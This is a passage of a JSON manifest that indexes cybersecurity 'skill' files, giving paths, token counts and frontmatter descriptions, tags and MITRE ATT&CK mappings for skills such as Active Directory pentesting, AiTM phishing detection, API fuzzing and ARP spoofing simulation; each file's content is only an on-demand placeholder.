/api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-penetration-test%2FSKILL.md -->","frontmatter":{"name":"performing-active-directory-penetration-test","description":"Conduct a focused Active Directory penetration test using BloodHound, Impacket, Certipy, Rubeus, and NetExec to enumerate domain objects, discover attack paths, exploit Kerberos weaknesses, escalate privileges via ADCS/DCSync, and demonstrate domain compromise. Use when running an authorized AD pentest from a standard domain user foothold toward Domain Admin or Enterprise Admin.","domain":"cybersecurity","subdomain":"penetration-testing","tags":["active-directory","BloodHound","Kerberoasting","Impacket","DCSync","ADCS","domain-compromise","privilege-escalation"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-06","GV.OV-02","DE.AE-07"],"mitre_attack":["T1595","T1190","T1059","T1078","T1068"]},"isInternal":false,"tokens":2894,"sizeBytes":9982},{"name":"template.md","path":"skills/performing-active-directory-vulnerability-assessment/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-active-directory-vulnerability-assessment/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-vulnerability-assessment%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":585,"sizeBytes":2489},{"name":"api-reference.md","path":"skills/performing-active-directory-vulnerability-assessment/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-active-directory-vulnerability-assessment/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-vulnerability-assessment%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":644,"sizeBytes":2524},{"name":"standards.md","path":"skills/performing-active-directory-vulnerability-assessment/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-active-directory-vulnerability-assessment/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-vulnerability-assessment%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":440,"sizeBytes":1663},{"name":"workflows.md","path":"skills/performing-active-directory-vulnerability-assessment/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-active-directory-vulnerability-assessment/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-vulnerability-assessment%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":447,"sizeBytes":2021},{"name":"SKILL.md","path":"skills/performing-active-directory-vulnerability-assessment/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-active-directory-vulnerability-assessment/SKILL.md","title":"performing-active-directory-vulnerability-assessment","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-vulnerability-assessment%2FSKILL.md -->","frontmatter":{"name":"performing-active-directory-vulnerability-assessment","description":"Assess Active Directory security posture using PingCastle, BloodHound, and Purple Knight to identify misconfigurations, privilege escalation paths, and attack vectors.","domain":"cybersecurity","subdomain":"vulnerability-management","tags":["active-directory","pingcastle","bloodhound","purple-knight","ad-security","privilege-escalation","ldap","kerberos"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Restore Object","Network Traffic Policy Mapping","Restore Configuration","Access Modeling","Operational Activity Mapping"],"nist_csf":["ID.RA-01","ID.RA-02","ID.IM-02","ID.RA-06"],"mitre_attack":["T1190","T1203","T1068","T1548","T1134"]},"isInternal":false,"tokens":2162,"sizeBytes":8885},{"name":"template.md","path":"skills/performing-adversary-in-the-middle-phishing-detection/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-adversary-in-the-middle-phishing-detection/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-adversary-in-the-middle-phishing-detection%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":344,"sizeBytes":1375},{"name":"api-reference.md","path":"skills/performing-adversary-in-the-middle-phishing-detection/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-adversary-in-the-middle-phishing-detection/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-adversary-in-the-middle-phishing-detection%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":747,"sizeBytes":2815},{"name":"standards.md","path":"skills/performing-adversary-in-the-middle-phishing-detection/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-adversary-in-the-middle-phishing-detection/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-adversary-in-the-middle-phishing-detection%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":364,"sizeBytes":1446},{"name":"workflows.md","path":"skills/performing-adversary-in-the-middle-phishing-detection/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-adversary-in-the-middle-phishing-detection/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-adversary-in-the-middle-phishing-detection%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":515,"sizeBytes":1994},{"name":"SKILL.md","path":"skills/performing-adversary-in-the-middle-phishing-detection/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-adversary-in-the-middle-phishing-detection/SKILL.md","title":"performing-adversary-in-the-middle-phishing-detection","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-adversary-in-the-middle-phishing-detection%2FSKILL.md -->","frontmatter":{"name":"performing-adversary-in-the-middle-phishing-detection","description":"Detect and respond to Adversary-in-the-Middle (AiTM) phishing attacks that use reverse proxy kits like EvilProxy, Evilginx, and Tycoon 2FA to bypass MFA and steal session tokens, correlating Azure AD/Entra sign-in logs, SIEM alerts, and EDR telemetry. Use when investigating suspected MFA-bypass phishing or session token theft, or building detection and response playbooks against reverse-proxy phishing kits.","domain":"cybersecurity","subdomain":"phishing-defense","tags":["aitm","evilproxy","evilginx","phishing","mfa-bypass","session-hijacking","reverse-proxy","credential-theft"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AT-01","DE.CM-09","RS.CO-02","DE.AE-02"],"mitre_attack":["T1566","T1598","T1534","T1036","T1003"],"mitre_f3":{"version":"1.1","tactics":["initial-access","positioning"],"techniques":[{"id":"T1557","name":"Adversary-in-the-Middle","tactic":"initial-access","source":"attack"},{"id":"T1660","name":"Phishing","tactic":"initial-access","source":"attack"},{"id":"F1004","name":"Access with Stolen Session Cookie","tactic":"initial-access","source":"f3"},{"id":"T1539","name":"Steal Web Session Cookie","tactic":"positioning","source":"attack"},{"id":"T1185","name":"Browser Session Hijacking","tactic":"positioning","source":"attack"},{"id":"F1006","name":"Account Takeover","tactic":"initial-access","source":"f3"}]}},"isInternal":false,"tokens":1506,"sizeBytes":6658},{"name":"template.md","path":"skills/performing-agentless-vulnerability-scanning/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-agentless-vulnerability-scanning/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-agentless-vulnerability-scanning%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":300,"sizeBytes":993},{"name":"api-reference.md","path":"skills/performing-agentless-vulnerability-scanning/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-agentless-vulnerability-scanning/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-agentless-vulnerability-scanning%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":776,"sizeBytes":3050},{"name":"standards.md","path":"skills/performing-agentless-vulnerability-scanning/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-agentless-vulnerability-scanning/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-agentless-vulnerability-scanning%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":326,"sizeBytes":1260},{"name":"workflows.md","path":"skills/performing-agentless-vulnerability-scanning/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-agentless-vulnerability-scanning/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-agentless-vulnerability-scanning%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":493,"sizeBytes":2664},{"name":"SKILL.md","path":"skills/performing-agentless-vulnerability-scanning/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-agentless-vulnerability-scanning/SKILL.md","title":"performing-agentless-vulnerability-scanning","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-agentless-vulnerability-scanning%2FSKILL.md -->","frontmatter":{"name":"performing-agentless-vulnerability-scanning","description":"Configure and execute agentless vulnerability scanning using network protocols, cloud snapshot analysis, and API-based discovery to assess systems without installing endpoint agents.","domain":"cybersecurity","subdomain":"vulnerability-management","tags":["agentless-scanning","vulnerability-assessment","cloud-security","ssh","wmi","snapshot-analysis","vuls","tenable"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["GOVERN-1.1","MEASURE-2.7","MANAGE-3.1"],"nist_csf":["ID.RA-01","ID.RA-02","ID.IM-02","ID.RA-06"],"mitre_attack":["T1190","T1203","T1068","T1078.004","T1530"]},"isInternal":false,"tokens":3392,"sizeBytes":15228},{"name":"api-reference.md","path":"skills/performing-ai-driven-osint-correlation/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-ai-driven-osint-correlation/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ai-driven-osint-correlation%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1414,"sizeBytes":5068},{"name":"SKILL.md","path":"skills/performing-ai-driven-osint-correlation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-ai-driven-osint-correlation/SKILL.md","title":"performing-ai-driven-osint-correlation","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ai-driven-osint-correlation%2FSKILL.md -->","frontmatter":{"name":"performing-ai-driven-osint-correlation","description":"Use AI/LLM-based reasoning with Sherlock, theHarvester, and SpiderFoot to correlate OSINT findings—usernames, emails, social profiles, domain records, breach databases, and dark-web mentions—into unified, confidence-scored intelligence profiles with link analysis. Use when raw OSINT data from multiple sources needs merging into one target profile or resolving identity linkage across platforms.","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["osint","ai-correlation","threat-intelligence","reconnaissance","link-analysis","target-profiling","sherlock","theharvester","spiderfoot","maltego"],"version":"1.0","author":"juliosuas","license":"Apache-2.0","atlas_techniques":["AML.T0051","AML.T0054","AML.T0056"],"nist_ai_rmf":["MEASURE-2.7","MEASURE-2.5","GOVERN-6.1","MAP-5.1"],"d3fend_techniques":["Identifier Analysis","URL Analysis","Identifier Reputation Analysis","User Behavior Analysis","Content Validation"],"nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1591","T1592","T1593","T1589","T1595"]},"isInternal":false,"tokens":3521,"sizeBytes":14602},{"name":"template.md","path":"skills/performing-alert-triage-with-elastic-siem/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-alert-triage-with-elastic-siem/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-alert-triage-with-elastic-siem%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":315,"sizeBytes":1203},{"name":"api-reference.md","path":"skills/performing-alert-triage-with-elastic-siem/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-alert-triage-with-elastic-siem/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-alert-triage-with-elastic-siem%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":791,"sizeBytes":2847},{"name":"standards.md","path":"skills/performing-alert-triage-with-elastic-siem/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-alert-triage-with-elastic-siem/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-alert-triage-with-elastic-siem%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":399,"sizeBytes":1699},{"name":"workflows.md","path":"skills/performing-alert-triage-with-elastic-siem/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-alert-triage-with-elastic-siem/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-alert-triage-with-elastic-siem%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":397,"sizeBytes":1618},{"name":"SKILL.md","path":"skills/performing-alert-triage-with-elastic-siem/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-alert-triage-with-elastic-siem/SKILL.md","title":"performing-alert-triage-with-elastic-siem","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-alert-triage-with-elastic-siem%2FSKILL.md -->","frontmatter":{"name":"performing-alert-triage-with-elastic-siem","description":"Perform systematic alert triage in Elastic Security SIEM—classifying, prioritizing, and investigating alerts using Kibana, ES|QL queries, and ECS-normalized data—to drive SOC analyst workflows. Use when triaging incoming Elastic Security detections, prioritizing an analyst's alert queue, or investigating alerts during SOC operations.","domain":"cybersecurity","subdomain":"soc-operations","tags":["elastic","siem","alert-triage","soc","elastic-security","detection","esql","kibana"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Token Binding","Restore Access","Application Protocol Command Analysis","Password Authentication","Reissue Credential"],"nist_csf":["DE.CM-01","DE.AE-02","RS.MA-01","DE.AE-06"],"mitre_attack":["T1078","T1685.002","T1685.005","T1566"]},"isInternal":false,"tokens":2017,"sizeBytes":8062},{"name":"template.md","path":"skills/performing-android-app-static-analysis-with-mobsf/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-android-app-static-analysis-with-mobsf/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-android-app-static-analysis-with-mobsf%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":1083,"sizeBytes":3704},{"name":"api-reference.md","path":"skills/performing-android-app-static-analysis-with-mobsf/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-android-app-static-analysis-with-mobsf/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-android-app-static-analysis-with-mobsf%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1401,"sizeBytes":5628},{"name":"standards.md","path":"skills/performing-android-app-static-analysis-with-mobsf/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-android-app-static-analysis-with-mobsf/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-android-app-static-analysis-with-mobsf%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":621,"sizeBytes":2929},{"name":"workflows.md","path":"skills/performing-android-app-static-analysis-with-mobsf/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-android-app-static-analysis-with-mobsf/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-android-app-static-analysis-with-mobsf%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":513,"sizeBytes":3822},{"name":"SKILL.md","path":"skills/performing-android-app-static-analysis-with-mobsf/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-android-app-static-analysis-with-mobsf/SKILL.md","title":"performing-android-app-static-analysis-with-mobsf","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-android-app-static-analysis-with-mobsf%2FSKILL.md -->","frontmatter":{"name":"performing-android-app-static-analysis-with-mobsf","description":"Performs automated static analysis of Android applications using Mobile Security Framework (MobSF) to identify hardcoded secrets, insecure permissions, vulnerable components, weak cryptography, and code-level security flaws without executing the application. Use when assessing Android APK/AAB files for security vulnerabilities before deployment, during penetration testing, or as part of CI/CD security gates. Activates for requests involving Android static analysis, MobSF scanning, APK security assessment, or mobile application code review.\n","domain":"cybersecurity","subdomain":"mobile-security","author":"mahipal","tags":["mobile-security","android","mobsf","static-analysis","owasp-mobile","penetration-testing"],"version":"1.0.0","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.AA-05","ID.RA-01","DE.CM-09"],"mitre_attack":["T1059","T1056","T1036","T1078"]},"isInternal":false,"tokens":1727,"sizeBytes":7364},{"name":"api-reference.md","path":"skills/performing-api-fuzzing-with-restler/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-api-fuzzing-with-restler/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-api-fuzzing-with-restler%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":484,"sizeBytes":1965},{"name":"SKILL.md","path":"skills/performing-api-fuzzing-with-restler/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-api-fuzzing-with-restler/SKILL.md","title":"performing-api-fuzzing-with-restler","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-api-fuzzing-with-restler%2FSKILL.md -->","frontmatter":{"name":"performing-api-fuzzing-with-restler","description":"Uses Microsoft RESTler to perform stateful REST API fuzzing: compiles an OpenAPI/Swagger spec into a RESTler grammar, configures authentication, and runs test/fuzz-lean/fuzz modes that generate request sequences exercising producer-consumer dependencies, then flags 500 errors, auth bypasses, resource leaks, and injection bugs. Use when fuzzing REST APIs for stateful bugs or running RESTler-based automated API security testing.\n","domain":"cybersecurity","subdomain":"api-security","tags":["api-security","fuzzing","restler","automated-testing","openapi","stateful-testing"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1552.001","T1055","T1059"]},"isInternal":false,"tokens":3262,"sizeBytes":13577},{"name":"api-reference.md","path":"skills/performing-api-inventory-and-discovery/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-api-inventory-and-discovery/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-api-inventory-and-discovery%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":526,"sizeBytes":2212},{"name":"SKILL.md","path":"skills/performing-api-inventory-and-discovery/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-api-inventory-and-discovery/SKILL.md","title":"performing-api-inventory-and-discovery","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-api-inventory-and-discovery%2FSKILL.md -->","frontmatter":{"name":"performing-api-inventory-and-discovery","description":"Performs API inventory and discovery to identify all API endpoints in an organization's environment including documented, undocumented, shadow, zombie, and deprecated APIs. The tester uses passive traffic analysis, active scanning, DNS enumeration, JavaScript analysis, and cloud resource inventory to build a comprehensive API catalog. Maps to OWASP API9:2023 Improper Inventory Management. Activates for requests involving API discovery, shadow API detection, API inventory audit, or attack surface mapping.\n","domain":"cybersecurity","subdomain":"api-security","tags":["api-security","owasp","api-discovery","shadow-api","inventory","attack-surface"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1552.001","T1078.004","T1530"]},"isInternal":false,"tokens":3963,"sizeBytes":17030},{"name":"api-reference.md","path":"skills/performing-api-rate-limiting-bypass/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-api-rate-limiting-bypass/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-api-rate-limiting-bypass%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":570,"sizeBytes":2210},{"name":"SKILL.md","path":"skills/performing-api-rate-limiting-bypass/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-api-rate-limiting-bypass/SKILL.md","title":"performing-api-rate-limiting-bypass","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-api-rate-limiting-bypass%2FSKILL.md -->","frontmatter":{"name":"performing-api-rate-limiting-bypass","description":"Tests API rate limiting for bypass vulnerabilities using Python (requests/aiohttp) and Burp Suite Turbo Intruder to manipulate headers (e.g. X-Forwarded-For spoofing), IPs, HTTP methods, API versions, and encodings, mapping findings to OWASP API4:2023 Unrestricted Resource Consumption. Use when assessing, under written authorization, whether rate limits can be bypassed to enable brute force or resource-exhaustion attacks.\n","domain":"cybersecurity","subdomain":"api-security","tags":["api-security","owasp","rate-limiting","throttling","brute-force","dos-prevention"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1552.001","T1027","T1055"]},"isInternal":false,"tokens":4074,"sizeBytes":17651},{"name":"api-reference.md","path":"skills/performing-api-security-testing-with-postman/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-api-security-testing-with-postman/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-api-security-testing-with-postman%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":535,"sizeBytes":2119},{"name":"SKILL.md","path":"skills/performing-api-security-testing-with-postman/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-api-security-testing-with-postman/SKILL.md","title":"performing-api-security-testing-with-postman","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-api-security-testing-with-postman%2FSKILL.md -->","frontmatter":{"name":"performing-api-security-testing-with-postman","description":"Uses Postman to build structured API security test collections covering the OWASP API Security Top 10—authentication bypass, authorization flaws, injection, and data exposure—with multi-role environments, automated test scripts, and OWASP ZAP/Newman integration for CI/CD. Use when building repeatable Postman-based API security regression tests or automating OWASP API Top 10 coverage in a pipeline.\n","domain":"cybersecurity","subdomain":"api-security","tags":["api-security","postman","owasp","automated-testing","security-validation"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1552.001","T1055","T1059"]},"isInternal":false,"tokens":3553,"sizeBytes":15145},{"name":"api-reference.md","path":"skills/performing-arp-spoofing-attack-simulation/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-arp-spoofing-attack-simulation/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-arp-spoofing-attack-simulation%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":602,"sizeBytes":2510},{"name":"SKILL.md","path":"skills/performing-arp-spoofing-attack-simulation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-arp-spoofing-attack-simulation/SKILL.md","title":"performing-arp-spoofing-attack-simulation","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-arp-spoofing-attack-simulation%2FSKILL.md -->","frontmatter":{"name":"performing-arp-spoofing-attack-simulation","description":"Simulates ARP spoofing/cache-poisoning attacks in authorized lab or pentest environments using arpspoof, Ettercap, and Scapy to demonstrate man-in-the-middle risk and validate Dynamic ARP Inspection, port security, and network monitoring detections. Use when testing whether switches, IDS/IPS, or a SIEM detect ARP spoofing under written authorization; do not use on production networks without explicit approval.\n","domain":"cybersecurity","subdomain":"network-security","tags":["network-security","arp-spoofing","mitm","ettercap","layer2-attack"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"],"mitre_attack":["T1046","T1040","T1557","T1071"]},"isInternal":false,"tokens":2901,"sizeBytes":11338},{"name":"template.md","path":"skills/performing-asset-criticality-scoring-for-vulns/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-asset-criticality-scoring-for-vulns/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-asset-criticality-scoring-for-vulns%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":182,"sizeBytes":527},{"name":"api-reference.md","path":"skills/performing-asset-criticality-scoring-for-vulns/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-asset-criticality-scoring-for-vulns/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-asset-criticality-scoring-for-vulns%2Freferences%2Fapi-reference.md 